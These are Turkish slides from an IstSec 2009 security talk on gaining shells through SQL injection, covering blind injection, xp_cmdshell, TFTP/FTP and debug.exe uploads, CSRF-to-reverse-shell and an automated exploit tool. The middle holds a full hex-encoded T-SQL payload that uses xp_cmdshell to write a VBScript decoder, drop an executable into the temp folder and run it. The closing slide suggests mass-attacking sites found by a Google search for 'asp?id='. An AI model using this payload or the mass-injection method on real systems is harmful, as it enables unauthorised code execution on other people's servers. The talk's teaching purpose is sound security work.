SQL Injection Üzerinden Sistemleri Ele Geçirme 5 dakkada beşiktaş Ferruh Mavituna, IstSec – Istanbul 2009
Bölüm I – Giriş Konuşmacının size onu dinlemeniz için geçerli nedenler vermeye çalıştığı bölüm...
>ferruh mavituna Web Uygulaması Güvenliği Üzeriğine uzmanlış bir güvenlik uzmanı, Şu anda Londra’ da Portcullis Computer Security Ltd. için çalışıyor.
Bölüm II – Mızmızlanma... Konuşmacının güvenlik işinin aslında ne kadar sıkıcı olabileceği hakkında mızmızlandığı kısım...
Uzun iş... Bir sistemi tek tip bir güvenlik açığı için test etme Bir sayfada 5 dinamik parameter, 50 dinamik sayfa, 10 farklı saldırı kombinasyon 5 * 50 * 10 = 2.500farklı deneme gereksinimi.
SQL Injection Tespiti *Tam anlamı ile bir SQL Injection Tespiti Filtre Bypass Kombinasyonları = 2 Comment Out Kombinasyonları = 2 Group Test Kombinasyonları = 4 Integer Test = 1 String Test = 1 AND / OR kombinasyonları = 2 Injection Pozisyon Kombinasyonları = 3 (2 + 1 + 1) * 4 * 2 * 2 * 3 = 172 farklı olasılık Eğer veritabanı tipi belli değilse bunu 3+ ile tekrar çarpmamız gerekiyor. * Aslında tüm bu testlere rağmen hala bu açığı kaçırma şansımız var
Blind SQL Injection Demosu Full Blind SQL Injection Tespit Demosu
Exploit Etme Süreci Her açık eşit değildir Bazı açıklar karşıdaki sistemde kod çalıştırmaya izin verirler Açığın tipine göre manuel exploit süreci uzayabilir ya da normal bir insan için imkansız bir hale gelebilir Tek tek istek yaparak Blind SQL Injection deneyen oldu mu? 10 kayıtlık bir tabloyu almak sadece(!)10.000 değişik HTTP isteği yapmanızı gerektiriyor...
BSQL Hacker Demo BSQL Hacker ile Blind SQL Injection Demosu
Çözüm Bu işin sıkıcı olduğunu anladık peki çözüm nedir?
Hindistan’ a outsource etmek?
Ya da otomasyon...
Bölüm III – Eylem Bu kadar sohbet muhabbetten sonra nihayet gerçek konunun anlatıldığı bölüm...
Kırılma Noktası Herşey küçük siyah bir ekran için Shell, shell, shell, shell.....
Web Uygulamalarında Kod Çalıştırma Yolları RFI - Remote File Inclusion LFI - Local File Inclusion SQL Injection xp_cmdshell, MySQL UDF vs. SQL Injection üzerinden bir webshell yazma / upload etme Command Injection (passthrough vs.) Code Injection (eval, PHP /e regexes vs.) Dosya Upload WebDAV SSI
Bu durumda ne yapardınız? SQL Injection SQL Server Yetkili / SA Bağlantısı
Ne yapardınız?
TFTP/FTP/UNC Share Numaraları
Sistemde TFTP veya FTP olmalı
FTP, TFTP ve UNC sırasında kullanılan portlar dışarıya açık olmalı
Saldıranın sisteminde TFTP/FTP/UNC server gerektiriyor
Eğer bu portlar dışarıya kapalıysa ya da çalışmıyorsa kodunuzu parça parça yükleyip debug.exe ile karşıda çalıştırın
Yavaş ve bir çok HTTP isteği gerektiriyor
Otomatik olarak yapmak zorundasınız (mesela sqlninja)
Peki, Bu durumda ne yapardınız? SQL Injection Açık Kaynak Kodlu bir uygulama NTLM ile korunan admin panelinde SQL Injection var SQL Server Yetkili / SA Connection CSRF (Cross Site Request Forgery) açığı var
Ne yapardınız? Bir kaç tablo silebilir, dosya yazarbilir ya da belki bir komut çalıştırabilirsiniz? Shell alabilir misiniz? Belki...
Adım adım Lokal sistemde shell.exe’ nin bir hex reprezantasyonunun oluşturulması, Bu dosyayı geçerli bir binary dosyaya çevirecek bir VBScript oluşturulması, Hepsini tek bir satıra koy, Tek satırı SQL Injection ile hallet...
Demo Generating the magic string
Ufak Noktalar VBPacker, UPX ve meterpreter Null byte’ ları ziplyerek text’ in daha kısa olmasını sağlamak, Bu saldırıda istediğiniz binary dosyayı kullanabilirsiniz dolayısıyla DNS Tunnelling vs. destekleyen bir RAT kullanılabilir. Meterpreter exploit sürecini çok daha pratik yapıyor ve bize esneklik sağlıyor.
CSRF’ i hatırladınız mı? Sunumun başında bir şey yapamadığımız CSRF’ i hatırladınız mı? Artık bir şey yapabiliyoruz çünkü tek istek bizim için yeterli.
Demo CSRF - Reverse Shell
Tek tırnaksız Exploits DECLARE @X VARCHAR(8000);SET@X=CAST(0x65786563206d61737465722e2e78705f636d647368656c6c20276563686f20643d2234443541393030303033783033303478303346464646783032423878303734307832333830783033304531464241304530304234303943443231423830313443434432313534363836393733323037303732364636373732363136443230363336313645364536463734323036323635323037323735364532303639364532303434344635333230364436463634363532453044304430413234783037353034357830323443303130333030383731393444433078303845303030304630333042303130323338303031307830333130783033353078303234303632783033363078303337307830343430783032313078303330327830323034783033303178303330347830383830783033313078303630327830353230783032313078303431307830323130783036313078304337307830324143783733353535303538333078303535307830333130783037303278304538307830324530353535303538333178303531307830333630783033303478303330327830453430783032453035353530353833327830353130783033373078303330327830333036783045343078303243303333324533303333303035353530353832313044303930323039313942363943384143464445413637344136343178303231443032783033323678303232367830323444423746464442464633314330423930303230343030303638333031303034363446463330363438393230353036413430363831327830324441324645344636353135314539783032334339304646323533433430323931364232303544423037783032304634303838324134424536303030373030464646464545303146434538353630423533353535363537384236433234313838423435334338423534303537383031464646464646453545413842344135413230303145424533333234393842333438423031454533314646464333314330414333384530373430374331434644423937454446463044303143374542463233423743323431343735453132333234363638423043344230383143464644464445324538423034323945384542303232383546354535443542433230383030354536413330353936344642374637424642384231393842354230433032314338423142303430383533363838453445304545434646443638394337303946334446424537433534434141463931383145433030303138413530353735363533383945354538314646464646464635443930304542363139313845374134313937304539454346394141363044393039463541444342454446433342353735333332354633334646464646464646333230303542384434423138353146464437383944463839433338443735313436413035353935313533464633343846464635353034353938393034384545323733444442364644463232423237353446463337304432383833353030303430303130433646464646463644323436443638433041383041363436383032303031413041383945313641313035313537313432303641343042354236424446423545353643314536303630333038353636413030313030433530303641384232453041453835314131384646443342383131343142363241314638334141303030394332333631374339373434303438353834303046383443453534423630333430363135353136413041383043374644393043313434343343333030313435373836393734353045324444424646433732364636333635373337333536363937323734373536313643304637343635363337343046463932464346313035303435344330313033303038373139344443304530303037383833333446463046303330423031303233383030303232323130303345444241423732344632304231463034303630313030444637423336394230373530313737354639303630303230353833304439363033373130334631303344383541393438354538343030324530323835374443333945373836303930414330323233364644394642424242393630324537323634363137343631304330334543394239443344363443323430324536393237383431303442323730423239334232343237363334303241783033373030373030323478303246467830453630424531353630343030303844424545424146464646463537454230423930384130363436383830373437303144423735303738423145383345454643313144423732454442383031783033303144423735303738423145383345454643313144423131433030314442373345463735303938423145383345454643313144423733453433314339383345383033373230444331453030383841303634363833463046463734373438394335303144423735303738423145383345454643313144423131433930314442373530373842314538334545464331314442313143393735323034313031444237353037384231453833454546433131444231314339303144423733454637353039384231453833454546433131444237334534383343313032383146443030463346464646383344313031384431343246383346444643373630463841303234323838303734373439373546374539363346464646464639303842303238334332303438393037383343373034383345393034373746313031434645393443464646464646354538394637423930317830333841303734373243453833433031373746373830334630303735463238423037384135463034363643314538303843314330313038364334323946383830454245383031463038393037383343373035383844384532443938444245303034307830323842303730394330373433433842354630343844383433303030363078303230314633353038334337303846463936323836307830323935384130373437303843303734444338394639353734384632414535354646393632433630783032303943303734303738393033383343333034454245314646393633433630783032384241453330363078303238444245303046304646464642423030313078303235303534364130343533353746464435384438373946303178303238303230374638303630323837463538353035343530353335374646443535383631384434343234383036413030333943343735464138334543383045393338414346464646783434343437307830323238373078313635303730783032354537307830323645373078303237453730783032384337307830323941373078303634423435353234453435344333333332324534343443344378303234433646363136343443363936323732363137323739343178303234373635373435303732364636333431363436343732363537333733783032353636393732373437353631364335303732364637343635363337347830323536363937323734373536313643343136433643364636337830323536363937323734373536313643343637323635363578303334353738363937343530373236463633363537333733784646783541223a57204372656174654f626a6563745e2822536372697074696e672e46696c6553797374656d4f626a656374225e292e4765745370656369616c466f6c6465725e28325e29205e2620225c77722e657865222c20525e28645e293a46756e6374696f6e20525e28745e293a44696d204172725e285e293a466f7220693d3020546f204c656e5e28745e292d31205374657020323a526564696d2050726573657276652041725e28535e293a46423d4d69645e28742c692b312c315e293a53423d4d69645e28742c692b322c315e293a48583d4642205e262053423a49662046423d227822205468656e3a4e423d4d69645e28742c692b332c315e293a4c3d485e285342205e26204e425e293a466f72206a3d3020546f204c3a526564696d2050726573657276652041725e28532b5e286a2a325e292b315e293a41725e28532b6a5e293d303a41725e28532b6a2b315e293d303a4e6578743a693d692b313a533d532b4c3a456c73653a4966204c656e5e2848585e295e3e30205468656e3a41725e28535e293d485e2848585e293a456e642049663a533d532b313a456e642049663a4e6578743a526564696d2050726573657276652041725e28532d325e293a523d41723a456e642046756e6374696f6e3a46756e6374696f6e20485e2848585e293a483d434c6e675e2822264822205e262048585e293a456e642046756e6374696f6e3a53756220575e28464e2c204275665e293a44696d20614275663a53697a65203d2055426f756e645e284275665e293a526544696d20614275665e2853697a655c325e293a466f722049203d203020546f2053697a65202d2031205374657020323a614275665e28495c325e293d436872575e284275665e28492b315e292a3235362b4275665e28495e295e293a4e6578743a496620493d53697a65205468656e3a614275665e28495c325e293d436872575e284275665e28495e295e293a456e642049663a614275663d4a6f696e5e28614275662c22225e293a5365742062533d4372656174654f626a6563745e282241444f44422e53747265616d225e293a62532e547970653d313a62532e4f70656e3a57697468204372656174654f626a6563745e282241444f44422e53747265616d225e293a2e547970653d323a2e4f70656e3a2e57726974655465787420614275663a2e506f736974696f6e3d323a2e436f7079546f2062533a2e436c6f73653a456e6420576974683a62532e53617665546f46696c6520464e2c323a62532e436c6f73653a5365742062533d4e6f7468696e673a456e64205375623e702e76627320262620702e766273202626202554454d50255c77722e65786527 AS VARCHAR(8000));EXEC(@X);
Part V – Otomasyon Tembel adam kıvamında....
“Web Raider”
What’s Web Raider Plugin tabanlı web uygulamalarından shell almaya yönelik otomatik bir exploit uygulaması. Alt yapısında Meterpreter listener’ ı kullanıyor Şu an 3 plugin’ i bulunmakta: HTML Parser (HTML form, link vs. leri bulmak için) SQL Injection Dosya Upload Yeni plugin geliştirmek bayağı kolay
Listener Ekranı
Demo Web Raider
Part VI – Dünyayı Ele Geçirme Image : http://www.suseblog.com/dr-evil-user-of-linux-wallpaper
Google + Mass SQL Injection
Düşündüğünüzden daha kolay...
Bunu evde denemeyin!(özellikle evden denemeyin!) Google’ da ara “asp?id=“ Çıkan sonuçlara saldır Hmm, bu kadar..
0 comments
Post a comment